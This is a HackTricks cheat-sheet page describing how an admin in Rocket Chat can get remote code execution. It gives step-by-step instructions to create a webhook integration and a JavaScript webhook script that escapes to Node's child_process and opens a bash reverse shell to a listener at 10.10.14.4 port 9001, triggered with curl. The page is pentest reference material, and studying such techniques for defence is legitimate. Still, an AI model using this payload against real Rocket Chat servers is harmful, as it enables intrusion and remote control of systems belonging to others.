Rocket Chat - HackTricks

# Rocket Chat

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## RCE

If you are admin inside Rocket Chat you can get RCE.

- Got to `Integrations` and select `New Integration` and choose any: `Incoming WebHook` or `Outgoing WebHook`.
  - `/admin/integrations/incoming`

- According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:

    const require = console.log.constructor("return process.mainModule.require")()
    const { exec } = require("child_process")
    exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

- Configure the WebHook (the channel and post as username must exists):

- Configure WebHook script:

- Save changes
- Get the generated WebHook URL:

- Call it with curl and you shuold receive the rev shell

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.